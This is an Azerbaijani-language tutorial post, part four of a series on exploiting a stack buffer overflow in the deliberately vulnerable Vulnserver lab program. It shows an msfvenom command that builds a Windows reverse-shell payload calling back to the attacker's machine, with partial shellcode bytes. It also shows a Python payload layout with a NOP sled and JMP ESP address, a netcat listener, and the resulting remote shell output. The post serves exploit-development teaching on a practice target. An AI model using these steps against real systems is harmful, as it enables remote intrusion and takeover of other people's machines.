Buffer Overflow Exploitin 4-cü Mərhələsi (Payload Daxil Edilməsi və Shell Əldə Edilməsi)
Buffer Overflow nədir? Buffer Overflow Laboratoriyası nədən ibarətdir? Buffer Overflow zəifliyinin exploit edilməsi necədir?Bad simvol nədir? Buffer Overflow ilə reverse shell əldə etmək?
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Payload Daxil Edilməsi və Shell Əldə Edilməsi
Buffer seriyasının son paylaşımının əməliyyatları yerinə yetirmək vaxtı gəldi.Bu mərhələdə biz hədəf host olan Windows cihazından shell əldə edirik.İlkin olaraq MSFvenom ilə shell verəcək olan payload yaradırıq.İkinci olaraq verilənləri python skriptinə kopyalayırıq.Son olaraq isə listener quraşdırdıqdan sonra python skriptini icra edərək shell əldə edirik.Əməliyyatların necə yerinə yetirilməsi aşağıda göstərilmişdir.
Payloadun Yaradılması
Reverse shell əldə etmək üçün MSFvenom alətindən istifadə edərək payload yaradırıq:
┌──(root㉿kali)-[~/Desktop]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.40 LPORT=4444 -a x86 -b "\x00" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf = b""
buf += b"\xba\x95\x6d\x28\xab\xda\xce\xd9\x74\x24\xf4\x5e"
buf += b"\x29\xc9\xb1\x52\x31\x56\x12\x03\x56\x12\x83\x53"
buf += b"\x69\xca\x5e\xa7\x9a\x88\xa1\x57\x5b\xed\x28\xb2"
......
İcra etdiyimiz kommandada aşağıdakı parametrlərdən istifadə etdik:
- -p (payload) – Reverse shell üçün payload seçdik.
- LHOST – Kali cihazının İP adresi
- -a (architecture) – sistemin arxitekturasını qeyd etdik, yəni x86
- -b (bad symbol) – koddan bad simvolları silmək istəyirik, çünki onlar shell-kodun işləməməsinə gətirib çıxarır.
- -f (format) – format olaraq isə Python seçdik.
Bad Symbols (Pis Simvollar)
Yuxarıdan yazıdan biz öyrəndikki, bad simvollar payloadun işləməməsinə gətirib çıxarır.Niyə bəs \x00 simvolu bad sayılır?Əsas səbəb olaraq isə əməliyyat sisteminin onu Null bayt olaraq icra edir. Yəni Null byte əlavə olunduğu zaman shell-code parçalanır və ondan sonrakı hissə icra edilmir.Null byte bad simvollardan biridir və digər simvollar da vardır, əsasən \x00 simvolu bad simvol kimi götürülür.
Aşağıdakı bad simvollar haqqında bilmək tövsiyyə olunur:
- \xFF – Full byte Yaddaşda overflow, integer parsing zamanı overflow və ya səhv təhlilə səbəb ola bilər.
- \x0A – Line Feed HTTP/SMTP kimi protokollarda sətir sonu və ya request injection-a səbəb ola bilər.
- \x00– Null Byte String burda bitmiş sayılır.
- \x0D – Carriage Return : HTTP requestlərində sətir sonu kimi təhlil olunur (
\r\n)
Shell-code`un Python Skriptinə Daxil Edilməsi
Shell-code MSFvenom ilə generasiya edildikdən sonra biz onu payload qismində hədəf serverə göndərə bilərik.Diqqət yetirmək lazımdır ki, shell-code`un icra edilməsindən əvvəl bir neçə (32 ədəd) NOP instruksiyası əlavə edəcəyik.
buf = b""
buf += b"\xba\x95\x6d\x28\xab\xda\xce\xd9\x74\x24\xf4\x5e"
buf += b"\x29\xc9\xb1\x52\x31\x56\x12\x03\x56\x12\x83\x53"
buf += b"\x69\xca\x5e\xa7\x9a\x88\xa1\x57\x5b\xed\x28\xb2"
........
#buffere bir nece NOP elave edirik (adeten 32)
shellcode= b"\x90" * 32 + buf
#test payload = 2003 A + adres JMP ESP + shellcode (icra olunacaq kod)
test = b"A" * 2003 + b"\xAF\x11\x50\x62" + shellcode
Burada istifadə olunan \xAF\x11\x50\x62 adresi əvvəlki paylaşımda tapılan JMP ESP adresidir. İstifadə olunan \x90 dəyəri isə NOP instruksiyasının adresidir. İcra ediləndə, növbəti instruksiyaya keç və davam et deyir.
Paylaşımı aşağı hissədə qeyd edirəm.
Python skriptindən dəyişikik etdikdən sonra yadda saxlayırıq və aşağıdakı əməliyyatları yerinə yetiririk.
- Windows cihazında Vulnserver.exe proqramnın Administrator kimi icra olunduğundan əmin olun.
- İndiki halda biz İmmunity Debugger proqramına ehtiyacımız yoxdur.
- Kali cihazından Netcat aləti ilə listener qururuq. (nc -nvlp 4444)
- Python skriptini icra edin və reverse shell əldə edəcəyik.
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.10.40] from (UNKNOWN) [192.168.10.1] 61640
Microsoft Windows [Version 10.0.19045.6093]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Rose\Desktop\vulnserver-master>dir
dir
Volume in drive C has no label.
Volume Serial Number is E2F8-5280
Directory of C:\Users\Rose\Desktop\vulnserver-master
10/09/2020 04:40 AM <DIR> .
10/09/2020 04:40 AM <DIR> ..
10/09/2020 04:40 AM 519 COMPILING.TXT
10/09/2020 04:40 AM 3,254 essfunc.c
10/09/2020 04:40 AM 16,601 essfunc.dll
10/09/2020 04:40 AM 1,501 LICENSE.TXT
10/09/2020 04:40 AM 3,648 readme.md
10/09/2020 04:40 AM 10,935 vulnserver.c
10/09/2020 04:40 AM 29,624 vulnserver.exe
7 File(s) 66,082 bytes
2 Dir(s) 57,497,747,456 bytes free
Bufferin ölçüsü 2019 olmalı idi, amma buna cavab vermədi və EİP hələdə 41 axtarırdı bu o deməkdirki, biz bufferin ölçüsü düz tapa bilməmişik.
Həqiqi Buffer ölçüsü 2003-dür.
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat